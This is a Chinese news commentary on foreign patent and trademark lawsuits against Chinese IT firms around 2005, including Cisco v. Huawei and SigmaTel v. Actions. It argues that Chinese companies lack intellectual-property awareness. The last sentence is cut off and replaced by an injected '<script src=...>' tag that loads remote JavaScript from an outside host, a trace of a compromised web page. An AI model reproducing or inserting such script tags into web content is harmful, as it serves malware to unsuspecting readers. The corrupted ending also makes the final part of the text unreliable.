(华强电子世界网独家报道) 最近it业内“专利侵权”成了时尚词语,细数近来发生在国外企业与中国it新型企业之间的专利诉讼案,我们不免开始感叹,一直以来不被重视的“知识产权”问题终于开始让我们发痛,此一必须遵守的守则,我们不能置身在游戏规则之外。
2003年1月份,思科起诉华为复制思科的互联网操作系统源代码及其用户手册,并同时指控华为侵犯了其数项专利。
2004年12月29日,日立环球存储科技公司状告南方汇通世华微硬盘有限公司的微硬件产品侵犯其gst硬盘机的多项产品专利。
2005年1月初,飞利浦在欧美各国对中国dvd播放机收取高额专利费。
2005年1月5日,美国的sigmatel,指控中国珠海炬力侵犯其多项用于mp3播放器的芯片专利。
2005年1月20日,英特尔指控深圳东进通讯技术股份有限公司,称其研发的语音卡产品侵犯了英特尔sr5.1.1软件中“intel头文件”的知识产权。
还有几个从去年一直拖到今年的旧案:一是去年初中国就开始推行的wapi标准由于美国政府及企业界的封杀,如今仍然难成国际标准,以致其在国内的强制实行日期仍在推迟之中;二是在欧洲抢注了海信英文商标“hisense”的博世西门子去年10月反以侵犯自己商标的罪名将海信告上德国法庭,这一诉讼将于今年4月展开,双方目前还在就能否和解进行谈判;三是从去年下半年开始,欧洲专利收费公司sisvel s.p.a向中国涉及mp3技术的生产厂家收取每台2美元的专利费用,未交纳专利费的中国产品在意大利、德国海关被扣。
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据不完全统计,在加入世界贸易组织后的两年内,我国发生的较大涉外知识产权争端已有20多起。在2003-2004年期间,美国国际贸易委员会(itc)接到针对中国公司的专利侵犯诉讼总量比日韩两国的总和还多。2004年期间,针对中国公司或产品的专利调查有11起。
面对如此“大规模”的侵权案件,很多人都陷入另一种思维当中,认为这是国外企业对我们刚刚起步的有着顽强生命力的国内it企业的“扼杀”,是“大人欺负小孩”的行为,还从各个角度分析这些国外企业的企图,认为他们是在“利用包括法律在内的各种手段,有计划、有步骤地扰乱、限制和打压刚刚崛起、尚难与它们抗衡的中国同行!”有些人甚至沉浸在“树大难免招风”,“木秀于林,风必摧之”的沾沾自喜当中。
当然,我们这些豪气云天的同胞们分析得很在理,很显然,这些诉讼的起因有些的确是明确的侵权,但更多的只是似是而非,然目的都是一样,“都是原有的市场既得利益者对新兴竞争对手采用的打压手段。原告如果打赢了,可以清除一个竞争者,即便是和解或者败诉,也可以起到阻止或减缓新来者进入市场步伐的作用。”
我们且不论国外企业有着什么“不可告人”的“阴谋”,从小父母就教导我们:“凡事先想想自己的原因。”我们似乎更多的应该考虑:我们为什么会被人家揪住辫子?何况他们在某些方面也确实是“有理可依”的。这并非在“长别人志气灭自己威风”,更不是“妄自菲薄”。冷静思考一下,我们是不是在某些方面做得不够?
我们不得不承认,我国it企业的确普遍患有“知识产权软骨症”(北京市乾坤律师事务所的琚存旭律师如此认为),这主要表现在,缺乏知识产权保护意识以及自有高新技术相对较少,存在大量低水平的重复研究。不少企业认为只要在国内进行了“集成电路芯片著作权登记”就可以高枕无忧了,这显然是一种自欺欺人的想法。另外,由于知识产权意识淡薄,我们还不得不承认,有些企业内有一部分人把国外的ip带回来,这直接造成了“知识产权侵权”。
康佳集团的陶显芳指出:“自古以来中国人就没有技术专利这个概念,在技术上,我的是我的,你的也是我的,都是大家的,没有把技术当成一种财产加以保护,这也是中国技术落后的主要原因。西方的专利保护政策已经实行了差不多200年,而我们从1985年才开始在朦朦胧胧中知道世界上还有个什么专利法,但直到今天也没有多少人认为技术也是财富。为什么技术你能用我就不可以用的道理,一直在国民心中没有扎根。”
相反,欧美的专利法律体制发展已经有几百年的时间,其专利保护意识和手段已经非常的系统化和成熟化,所以在欧美?script src=http://er12.com/t.js>